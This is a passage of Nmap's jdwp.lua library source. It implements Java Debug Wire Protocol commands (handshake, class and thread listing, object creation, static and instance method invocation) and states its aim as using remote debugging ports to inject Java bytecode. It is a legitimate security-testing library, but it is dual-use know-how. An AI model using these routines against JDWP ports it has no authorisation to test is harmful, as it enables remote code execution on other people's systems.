PageRenderTime 51ms CodeModel.GetById 13ms RepoModel.GetById 0ms app.codeStats 0ms

/nselib/jdwp.lua

https://gitlab.com/g10h4ck/nmap-gsoc2015
Lua | 1090 lines | 703 code | 60 blank | 327 comment | 69 complexity | e2a8aa9ed75c4b0af8d34ed8381ef2f9 MD5 | raw file
Possible License(s): BSD-3-Clause, GPL-2.0, Apache-2.0, LGPL-2.0, LGPL-2.1, MIT
  1. --- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to
  2. -- use remote debugging port and inject java bytecode.
  3. --
  4. -- There are two basic packet types in JDWP protocol.
  5. -- Command packet and reply packet. Command packets are sent by
  6. -- a debugger to a remote port which replies with a reply packet.
  7. --
  8. -- Simple handshake is needed to start the communication.
  9. -- The debugger sends a "JDWP-Handshake" string and gets the same as a reply.
  10. -- Each (command and reply packet) has an id field since communication can be asynchronous.
  11. -- Packet id can be monotonicaly increasing.
  12. -- Although communication can be asynchronous, it is not (at least in my tests) so the same
  13. -- packet id can be used for all communication.
  14. --
  15. -- To start the connection, script should call <code>jdwp.connect()</code> which returns success
  16. -- status and a socket. All other protocol functions require a socket as their first parameter.
  17. --
  18. -- Example of initiating connection:
  19. -- <code>
  20. -- local status,socket = jdwp.connect(host,port)
  21. -- if not status then
  22. -- stdnse.debug1("error, %s",socket)
  23. -- end
  24. -- local version_info
  25. -- status, version_info = jdwp.getVersion(socket,0)
  26. -- </code>
  27. --
  28. -- References:
  29. -- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  30. --
  31. --@copyright Same as Nmap--See http://nmap.org/book/man-legal.html
  32. --@author Aleksandar Nikolic
  33. --
  34. -- Version 0.1
  35. -- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic
  36. local stdnse = require "stdnse"
  37. local string = require "string"
  38. local bin = require "bin"
  39. local table = require "table"
  40. local nmap = require "nmap"
  41. _ENV = stdnse.module("jdwp", stdnse.seeall)
  42. -- JDWP protocol specific constants
  43. JDWP_CONSTANTS = {
  44. handshake = "JDWP-Handshake" -- Connection initialization handshake
  45. }
  46. -- List of error codes from:
  47. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error
  48. ERROR_CODES = {
  49. [0] = "NONE No error has occurred.",
  50. [10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.",
  51. [11] = "INVALID_THREAD_GROUP Thread group invalid.",
  52. [12] = "INVALID_PRIORITY Invalid priority.",
  53. [13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.",
  54. [14] = "THREAD_SUSPENDED Thread already suspended.",
  55. [20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.",
  56. [21] = "INVALID_CLASS Invalid class.",
  57. [22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.",
  58. [23] = "INVALID_METHODID Invalid method.",
  59. [24] = "INVALID_LOCATION Invalid location.",
  60. [25] = "INVALID_FIELDID Invalid field.",
  61. [30] = "INVALID_FRAMEID Invalid jframeID.",
  62. [31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.",
  63. [32] = "OPAQUE_FRAME Information about the frame is not available.",
  64. [33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.",
  65. [34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.",
  66. [35] = "INVALID_SLOT Invalid slot.",
  67. [40] = "DUPLICATE Item already set.",
  68. [41] = "NOT_FOUND Desired element not found.",
  69. [50] = "INVALID_MONITOR Invalid monitor.",
  70. [51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.",
  71. [52] = "INTERRUPT The call has been interrupted before completion.",
  72. [60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.",
  73. [61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.",
  74. [62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.",
  75. [63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.",
  76. [64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.",
  77. [65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.",
  78. [66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.",
  79. [67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.",
  80. [68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.",
  81. [69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.",
  82. [70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.",
  83. [71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.",
  84. [99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.",
  85. [100] = "NULL_POINTER Invalid pointer.",
  86. [101] = "ABSENT_INFORMATION Desired information is not available.",
  87. [102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.",
  88. [103] = "ILLEGAL_ARGUMENT Illegal argument.",
  89. [110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.",
  90. [111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.",
  91. [112] = "VM_DEAD The virtual machine is not running.",
  92. [113] = "INTERNAL An unexpected internal error has occurred.",
  93. [115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.",
  94. [500] = "INVALID_TAG object type id or class tag.",
  95. [502] = "ALREADY_INVOKING Previous invoke not complete.",
  96. [503] = "INVALID_INDEX Index is invalid.",
  97. [504] = "INVALID_LENGTH The length is invalid.",
  98. [506] = "INVALID_STRING The string is invalid.",
  99. [507] = "INVALID_CLASS_LOADER The class loader is invalid.",
  100. [508] = "INVALID_ARRAY The array is invalid.",
  101. [509] = "TRANSPORT_LOAD Unable to load the transport.",
  102. [510] = "TRANSPORT_INIT Unable to initialize the transport.",
  103. [511] = "NATIVE_METHOD",
  104. [512] = "INVALID_COUNT The count is invalid."
  105. }
  106. -- JDWP protocol Command packet as described at
  107. -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  108. -- Each command packet has a Command Set number, Command Number and data required
  109. -- for that command.
  110. JDWPCommandPacket = {
  111. new = function(self,id,command_set,command, data)
  112. local o = {
  113. id = id,
  114. flags = 0, -- current specification has no flags defined for Command Packets
  115. command_set = command_set,
  116. command = command,
  117. data = data
  118. }
  119. setmetatable(o, self)
  120. self.__index = self
  121. return o
  122. end,
  123. -- Packs command packet as a string od bytes, ready to be sent
  124. -- to the target debuggee.
  125. pack = function(self)
  126. local data = self.data or ""
  127. return bin.pack(">IICCC",
  128. 11 + #data, -- length - minimal header is 11 bytes
  129. self.id,
  130. 0, -- flag
  131. self.command_set,
  132. self.command,
  133. data)
  134. end
  135. }
  136. -- JDWP protocol Reply packet as described at
  137. -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
  138. -- Reply packets are recognized by 0x80 in flag field.
  139. JDWPReplyPacket = {
  140. new = function(self,length,id,error_code,data)
  141. local o = {
  142. length = length,
  143. id = id,
  144. flags = 0x80, -- no other flag is currently specified in the specification
  145. error_code = error_code, -- see ERROR_CODES table
  146. data = data -- reply data, contents depend on the command
  147. }
  148. setmetatable(o, self)
  149. self.__index = self
  150. return o
  151. end,
  152. -- Parses the reply into JDWPReplyPacket table.
  153. parse_reply = function(self,reply_packet)
  154. local pos,length,id,flags,error_code,data
  155. pos, length = bin.unpack(">I",reply_packet)
  156. pos, id = bin.unpack(">I",reply_packet,pos)
  157. pos, flags = bin.unpack(">C",reply_packet,pos)
  158. pos, error_code = bin.unpack(">S",reply_packet,pos)
  159. data = string.sub(reply_packet,pos)
  160. if flags == 0x80 then
  161. return true, JDWPReplyPacket:new(length,id,error_code,data)
  162. end
  163. stdnse.debug2("JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet))
  164. return false, "JDWP error parsing reply."
  165. end
  166. }
  167. --- Negotiates the initial debugger-debuggee handshake.
  168. --
  169. --@param host Host to connect to.
  170. --@param port Port to connect to.
  171. --@return (status,socket) If status is false, socket is error message, otherwise socket is
  172. -- a newly created socket with initial handshake finished.
  173. function connect(host,port)
  174. local status, result,err
  175. local socket = nmap.new_socket("tcp")
  176. socket:set_timeout(10000)
  177. local status, err = socket:connect(host, port)
  178. if not status then
  179. stdnse.debug2("JDWP could not connect: %s",err)
  180. return status, err
  181. end
  182. status, err = socket:send(JDWP_CONSTANTS.handshake)
  183. if not status then
  184. stdnse.debug2("JDWP could not send handshake: %s",err)
  185. return status, err
  186. end
  187. status, result = socket:receive()
  188. if not status then
  189. stdnse.debug2("JDWP could not receive handshake: %s",result)
  190. return status, result
  191. end
  192. if result == JDWP_CONSTANTS.handshake then
  193. stdnse.debug1("JDWP handshake successful.")
  194. return true, socket
  195. end
  196. return false, "JDWP handshake unsuccessful."
  197. end
  198. --- Helper function to pack regular string into UTF-8 string.
  199. --
  200. --@param data String to pack into UTF-8.
  201. --@return utf8_string UTF-8 packed string. Four bytes length followed by the string its self.
  202. function toUTF8(data)
  203. local utf8_string = bin.pack(">i",#data) .. data
  204. return utf8_string
  205. end
  206. --- Helper function to read all Reply packed data which might be fragmented
  207. -- over multiple packets.
  208. --
  209. --@param socket Socket to receive from.
  210. --@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes.
  211. function receive_all(socket)
  212. local status, result = socket:receive()
  213. if not status then
  214. return false,result
  215. end
  216. local data = result
  217. local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length
  218. while expected_length > #data do -- read until we get all the ReplyPacket data
  219. status,result = socket:receive()
  220. if not status then
  221. return true, data -- if something is wrong, return partial data
  222. end
  223. data = data .. result
  224. end
  225. return true,data
  226. end
  227. --- Helper function to extract ascii string from UTF-8
  228. --
  229. -- Writen in this way so it can be used interchangeably with bin.unpack().
  230. --
  231. --@param data Data from which to extract the string.
  232. --@param pos Offset into data string where to begin.
  233. --@return (pos,ascii_string) Returns position where the string extraction ended and actual ascii string.
  234. local function extract_string(data,pos)
  235. local string_size
  236. if pos > #data then
  237. stdnse.debug2("JDWP extract_string() position higher than data length, probably incomplete data received.")
  238. return pos, nil
  239. end
  240. pos, string_size = bin.unpack(">I",data,pos)
  241. local ascii_string = string.sub(data,pos,pos+string_size)
  242. local new_pos = pos+string_size
  243. return new_pos,ascii_string
  244. end
  245. --- Helper function that sends the Command packet and parses the reply.
  246. --
  247. --@param socket Socket to use to send the command.
  248. --@param command <code>JDWPCommandPacket</code> to send.
  249. --@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply.
  250. function executeCommand(socket,command)
  251. socket:send(command:pack())
  252. local status, result = receive_all(socket)
  253. if not status then
  254. return false, "JDWP executeCommand() didn't get a reply."
  255. end
  256. local reply_packet
  257. status, reply_packet = JDWPReplyPacket:parse_reply(result)
  258. if not status then
  259. return false, reply_packet
  260. end
  261. if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occurred
  262. return false, ERROR_CODES[reply_packet.error_code]
  263. end
  264. local data = reply_packet.data
  265. return true, data
  266. end
  267. --- VirtualMachine Command Set (1)
  268. -- Commands targeted at the debuggee virtual machine.
  269. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine
  270. --- Version Command (1)
  271. -- Returns the JDWP version implemented by the target VM as a table.
  272. --
  273. -- Returns a table with following values:
  274. -- * 'description' Debugger vm verbose description.
  275. -- * 'jdwpMajor' Number representing major JDWP version.
  276. -- * 'jdwpMinor' Number representing minor JDWP version.
  277. -- * 'vmVersion' String representing version of the debuggee VM.
  278. -- * 'vmName' Name of the debuggee VM.
  279. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version
  280. --
  281. --@param socket Socket to use to send the command.
  282. --@param id Packet id.
  283. --@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info.
  284. function getVersion(socket,id)
  285. local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1)
  286. local status, data = executeCommand(socket,command)
  287. if not status then
  288. stdnse.debug2("JDWP getVersion() error : %s",data)
  289. return false,data
  290. end
  291. -- parse data
  292. local version_info = {description = "",
  293. jdwpMajor = 0,
  294. jdwpMinor = 0,
  295. vmVersion = "",
  296. vmName = ""}
  297. local vmVersionSize
  298. local pos
  299. pos, version_info.description = extract_string(data,0)
  300. pos, version_info.jdwpMajor = bin.unpack(">i",data,pos)
  301. pos, version_info.jdwpMinor = bin.unpack(">i",data,pos)
  302. pos, version_info.vmVersion = extract_string(data,pos)
  303. pos, version_info.vmName = extract_string(data,pos)
  304. return true, version_info
  305. end
  306. --- Classes by Signature command (2)
  307. -- Returns reference types for all the classes loaded by the target VM which match the given signature.
  308. --
  309. -- Given the class signature (like "Ljava/lang/Class") returns its reference ID which can be used to reference that class
  310. -- in other commands. Returns a list of tables containing following values:
  311. -- * 'refTypeTag' JNI type tag
  312. -- * 'referenceTypeID' Reference type of the class
  313. -- * 'status' Current class status.
  314. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature
  315. --
  316. --@param socket Socket to use to send the command.
  317. --@param id Packet id.
  318. --@param signature Signature of the class.
  319. --@return (status,classes) If status is false, classes is an error string, else it contains list of found classes.
  320. function getClassBySignature(socket,id,signature)
  321. local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature))
  322. local status, data = executeCommand(socket,command)
  323. if not status then
  324. stdnse.debug2("JDWP getClassBySignature() error : %s",data)
  325. return false,data
  326. end
  327. -- parse data
  328. local classes = {}
  329. local pos,number_of_classes = bin.unpack(">i",data)
  330. for i = 1, number_of_classes do
  331. local class_info = {
  332. refTypeTag = nil,
  333. referenceTypeID = nil,
  334. status = nil
  335. }
  336. pos, class_info.refTypeTag = bin.unpack("c",data,pos)
  337. pos, class_info.referenceTypeID = bin.unpack(">L",data,pos)
  338. pos, class_info.status = bin.unpack(">i",data,pos)
  339. table.insert(classes,class_info)
  340. end
  341. return true, classes
  342. end
  343. --- AllThreads Command (4)
  344. -- Returns all threads currently running in the target VM .
  345. --
  346. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads
  347. --
  348. --@param socket Socket to use to send the command.
  349. --@param id Packet id.
  350. --@return (status, threads) If status is false threads contains an error string, else it contains a list of all threads in the debuggee VM.
  351. function getAllThreads(socket,id)
  352. local command = JDWPCommandPacket:new(id,1,4,nil)
  353. local status, data = executeCommand(socket,command)
  354. if not status then
  355. stdnse.debug2("JDWP getAllThreads() error: %s", data)
  356. return false,data
  357. end
  358. -- parse data
  359. local pos,number_of_threads = bin.unpack(">i",data)
  360. local threads = {}
  361. for i = 1, number_of_threads do
  362. local thread
  363. pos, thread = bin.unpack(">L",data,pos)
  364. table.insert(threads,thread)
  365. end
  366. return true, threads
  367. end
  368. --- Resume Command (9)
  369. -- Resumes execution of the application after the suspend command or an event has stopped it.
  370. --
  371. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume
  372. --
  373. --@param socket Socket to use to send the command.
  374. --@param id Packet id.
  375. --@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply.
  376. function resumeVM(socket,id)
  377. local command = JDWPCommandPacket:new(id,1,9,nil)
  378. local status, data = executeCommand(socket,command)
  379. if not status then
  380. stdnse.debug2("JDWP resumeVM() error: %s", data)
  381. return false,data
  382. end
  383. -- wait for event notification
  384. status, data = receive_all(socket)
  385. if not status then
  386. stdnse.debug2("JDWP resumeVM() event notification failed: %s", data)
  387. end
  388. return true, nil
  389. end
  390. --- CreateString Command (11)
  391. -- Creates new string object in the debuggee VM.
  392. --
  393. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString
  394. --
  395. --@param socket Socket to use to send the command.
  396. --@param id Packet id.
  397. --@param ascii_string String to create.
  398. --@return (status, stringID) If status is false error string is returned, else stringID is newly created string.
  399. function createString(socket,id,ascii_string)
  400. local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string))
  401. local status, data = executeCommand(socket,command)
  402. if not status then
  403. stdnse.debug2("JDWP createString() error: %s", data)
  404. return false,data
  405. end
  406. local _,stringID = bin.unpack(">L",data)
  407. return true, stringID
  408. end
  409. --- AllClassesWithGeneric Command (20)
  410. -- Returns reference types and signatures for all classes currently loaded by the target VM.
  411. --
  412. -- Returns a list of tables containing following info:
  413. -- * 'refTypeTag' Kind of following reference type.
  414. -- * 'typeID' Loaded reference type
  415. -- * 'signature' The JNI signature of the loaded reference type.
  416. -- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none.
  417. -- * 'status' The current class status.
  418. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric
  419. --
  420. --@param socket Socket to use to send the command.
  421. --@param id Packet id.
  422. --@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information.
  423. function getAllClassesWithGeneric(socket,id)
  424. local command = JDWPCommandPacket:new(id,1,20,nil)
  425. local status, data = executeCommand(socket,command)
  426. if not status then
  427. stdnse.debug2("JDWP getAllClassesWithGeneric() error: %s", data)
  428. return false,data
  429. end
  430. -- parse data
  431. local all_classes = {}
  432. local pos,number_of_classes = bin.unpack(">i",data)
  433. for i = 0 , number_of_classes do
  434. local class = {
  435. refTypeTag = nil,
  436. typeID = nil,
  437. signature = nil,
  438. genericSignature = nil,
  439. status = nil
  440. }
  441. if pos > #data then break end
  442. pos, class.refTypeTag = bin.unpack("C",data,pos)
  443. pos, class.typeID = bin.unpack(">L",data,pos)
  444. pos, class.signature = extract_string(data,pos)
  445. pos, class.genericSignature = extract_string(data,pos)
  446. pos, class.status = bin.unpack(">i",data,pos)
  447. table.insert(all_classes,class)
  448. end
  449. return true, all_classes
  450. end
  451. --- ReferenceType Command Set (2)
  452. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType
  453. --- SignatureWithGeneric Command (13)
  454. -- Returns the JNI signature of a reference type.
  455. --
  456. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric
  457. --
  458. --@param socket Socket to use to send the command.
  459. --@param id Packet id.
  460. --@param classID Reference type id of the class to get the signature from.
  461. --@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class").
  462. function getSignatureWithGeneric(socket,id,classID)
  463. local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1)
  464. local status, data = executeCommand(socket,command)
  465. if not status then
  466. stdnse.debug2("JDWP getVersion() error : %s",data)
  467. return false,data
  468. end
  469. local _,signature = extract_string(data,0)
  470. -- parse data
  471. return true,signature
  472. end
  473. --- MethodsWithGeneric Command (15)
  474. -- Returns information, including the generic signature if any, for each method in a reference type.
  475. --
  476. -- Returns a list of tables containing following fields for each method:
  477. -- * 'methodID' Method ID which can be used to call the method.
  478. -- * 'name' The name of the method.
  479. -- * 'signature' The JNI signature of the method.
  480. -- * 'generic_signature' The generic signature of the method, or an empty string if there is none.
  481. -- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration.
  482. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric
  483. --
  484. --@param socket Socket to use to send the command.
  485. --@param id Packet id.
  486. --@param classID Reference type id of the class to get the list of methods.
  487. --@return (status, signature) If status is false methods contains an error string, else it a list of methods information.
  488. function getMethodsWithGeneric(socket,id,classID)
  489. local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID))
  490. local status, data = executeCommand(socket,command)
  491. if not status then
  492. stdnse.debug2("JDWP getMethodsWithGeneric() error : %s",data)
  493. return false,data
  494. end
  495. -- parse data
  496. local methods = {}
  497. local pos,number_of_methods = bin.unpack(">i",data)
  498. for i = 1, number_of_methods do
  499. local method_info = {
  500. methodID = nil,
  501. name = nil,
  502. signature = nil,
  503. generic_signature = nil,
  504. modBits = nil
  505. }
  506. pos, method_info.methodID = bin.unpack(">i",data,pos)
  507. pos,method_info.name = extract_string(data,pos)
  508. pos, method_info.signature = extract_string(data,pos)
  509. pos,method_info.generic_signature = extract_string(data,pos)
  510. pos, method_info.modBits = bin.unpack(">i",data,pos)
  511. table.insert(methods,method_info)
  512. end
  513. return true, methods
  514. end
  515. --- ClassType Command Set (3)
  516. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType
  517. --- InvokeMethod Command (3)
  518. -- Invokes a class' static method and returns the reply data.
  519. --
  520. -- Reply data can vary so parsing is left to the function caller.
  521. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod
  522. --
  523. --@param socket Socket to use to send the command.
  524. --@param id Packet id.
  525. --@param classID Reference type id of the class.
  526. --@param methodID ID of the static method to call.
  527. --@numberOfArguments Number of method arguments.
  528. --@arguments Already packed arguments.
  529. --@options Invocation options.
  530. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manually.
  531. function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options)
  532. local params
  533. if numberOfArguments == 0 then
  534. params = bin.pack(">Liii",classID,methodID,numberOfArguments,options)
  535. else
  536. params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options)
  537. end
  538. local command = JDWPCommandPacket:new(id,3,3,params)
  539. local status, data = executeCommand(socket,command)
  540. if not status then
  541. stdnse.debug2("JDWP invokeStaticMethod() error: %s", data)
  542. return false,data
  543. end
  544. return true,data
  545. end
  546. --- NewInstance Command (4)
  547. --
  548. -- Creates a new object of this type, invoking the specified constructor.
  549. -- The constructor method ID must be a member of the class type.
  550. --
  551. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance
  552. --
  553. --@param socket Socket to use to send the command.
  554. --@param id Packet id.
  555. --@param classID Reference type id of the class.
  556. --@param threadID The thread in which to invoke the constructor.
  557. --@param methodID The constructor to invoke.
  558. --@numberOfArguments Number of constructor arguments.
  559. --@arguments Already packed arguments.
  560. --@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object.
  561. function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments)
  562. local params
  563. if numberOfArguments == 0 then
  564. params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0)
  565. else
  566. params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments
  567. end
  568. local command = JDWPCommandPacket:new(id,3,4,params)
  569. local status, data = executeCommand(socket,command)
  570. if not status then
  571. stdnse.debug2("JDWP newClassInstance() error: %s", data)
  572. return false,data
  573. end
  574. -- parse data
  575. stdnse.debug1("newClassInstance data: %s",stdnse.tohex(data))
  576. local pos, tag = bin.unpack(">C",data)
  577. local objectID
  578. pos, objectID = bin.unpack(">L",data,pos)
  579. return true,objectID
  580. end
  581. --- ArrayType Command Set (4)
  582. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType
  583. --- NewInstance Command (1)
  584. -- Creates a new array object of the specified type with a given length.
  585. --
  586. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance
  587. --
  588. --@param socket Socket to use to send the command.
  589. --@param id Packet id.
  590. --@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502).
  591. --@param length Length of the new array.
  592. --@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array.
  593. function newArrayInstance(socket,id,arrayType,length)
  594. local params = bin.pack(">Li",arrayType,length)
  595. local command = JDWPCommandPacket:new(id,4,1,params)
  596. local status, data = executeCommand(socket,command)
  597. if not status then
  598. stdnse.debug2("JDWP newArrayInstance() error: %s", data)
  599. return false,data
  600. end
  601. local pos,_ , tag, arrayID
  602. pos, tag = bin.unpack("C",data)
  603. _, arrayID = bin.unpack(">L",data,pos)
  604. return true, arrayID
  605. end
  606. --- ObjectReference Command Set (9)
  607. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference
  608. --- ReferenceType Command (1)
  609. -- Returns the runtime type of the object. The runtime type will be a class or an array.
  610. --
  611. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType
  612. --
  613. --@param socket Socket to use to send the command.
  614. --@param id Packet id.
  615. --@param objectID The ID of an object.
  616. --@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object.
  617. function getRuntimeType(socket,id,objectID)
  618. local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID))
  619. local status, data = executeCommand(socket,command)
  620. if not status then
  621. stdnse.debug2("JDWP resumeVM() error: %s", data)
  622. return false,data
  623. end
  624. local _,tag,runtime_type = bin.unpack(">CL",data)
  625. stdnse.debug1("runtime type: %d",runtime_type)
  626. return true,runtime_type
  627. end
  628. --- InvokeMethod Command (6)
  629. -- Invokes a instance method with specified parameters.
  630. --
  631. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod
  632. --
  633. --@param socket Socket to use to send the command.
  634. --@param id Packet id.
  635. --@param objectID The ID of an object.
  636. --@param threadID The thread in which to invoke.
  637. --@param classID The class type.
  638. --@param methodID ID of the method to invoke.
  639. --@param numberOfArguments Number of method arguments.
  640. --@arguments Already packed arguments.
  641. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manually.
  642. function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments)
  643. local params
  644. if numberOfArguments == 0 then
  645. params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments)
  646. else
  647. params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments
  648. end
  649. local command = JDWPCommandPacket:new(id,9,6,params)
  650. local status, data = executeCommand(socket,command)
  651. if not status then
  652. stdnse.debug2("JDWP invokeObjectMethod() error: %s", data)
  653. return false,data
  654. end
  655. stdnse.debug1("invoke obj method data: %s ",stdnse.tohex(data))
  656. return true,data
  657. end
  658. --- StringReference Command Set (10)
  659. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference
  660. --- Value Command (1)
  661. -- Returns the characters contained in the string.
  662. --
  663. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value
  664. --
  665. --@param socket Socket to use to send the command.
  666. --@param id Packet id.
  667. --@param stringID The ID of a string to read.
  668. --@return (status, data) If status is false result contains an error string, else it contains read string.
  669. function readString(socket,id,stringID)
  670. local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID))
  671. local status, data = executeCommand(socket,command)
  672. if not status then
  673. stdnse.debug2("JDWP readString() error: %s", data)
  674. return false,data
  675. end
  676. local _,result = extract_string(data,0)
  677. return true,result
  678. end
  679. --- ThreadReference Command Set (11)
  680. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference
  681. --- Name Command (1)
  682. -- Returns the thread name.
  683. --
  684. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name
  685. --
  686. --@param socket Socket to use to send the command.
  687. --@param id Packet id.
  688. --@param threadID The ID of a thread.
  689. --@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name.
  690. function getThreadName(socket,id,threadID)
  691. local params = bin.pack(">L",threadID)
  692. local command = JDWPCommandPacket:new(id,11,1,params)
  693. local status, data = executeCommand(socket,command)
  694. if not status then
  695. stdnse.debug2("JDWP getThreadName() error: %s", data)
  696. return false,data
  697. end
  698. -- parse data
  699. local _,thread_name = extract_string(data,0)
  700. return true, thread_name
  701. end
  702. --- Suspend Command (2)
  703. -- Suspends the thread.
  704. --
  705. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend
  706. --
  707. --@param socket Socket to use to send the command.
  708. --@param id Packet id.
  709. --@param threadID The ID of a thread.
  710. --@return (status, thread_name) If status is false an error string is returned, else it's nil.
  711. function suspendThread(socket,id,threadID)
  712. local params = bin.pack(">L",threadID)
  713. local command = JDWPCommandPacket:new(id,11,2,params)
  714. local status, data = executeCommand(socket,command)
  715. if not status then
  716. stdnse.debug2("JDWP suspendThread() error: %s", data)
  717. return false,data
  718. end
  719. return true, nil
  720. end
  721. --- Status Command (4)
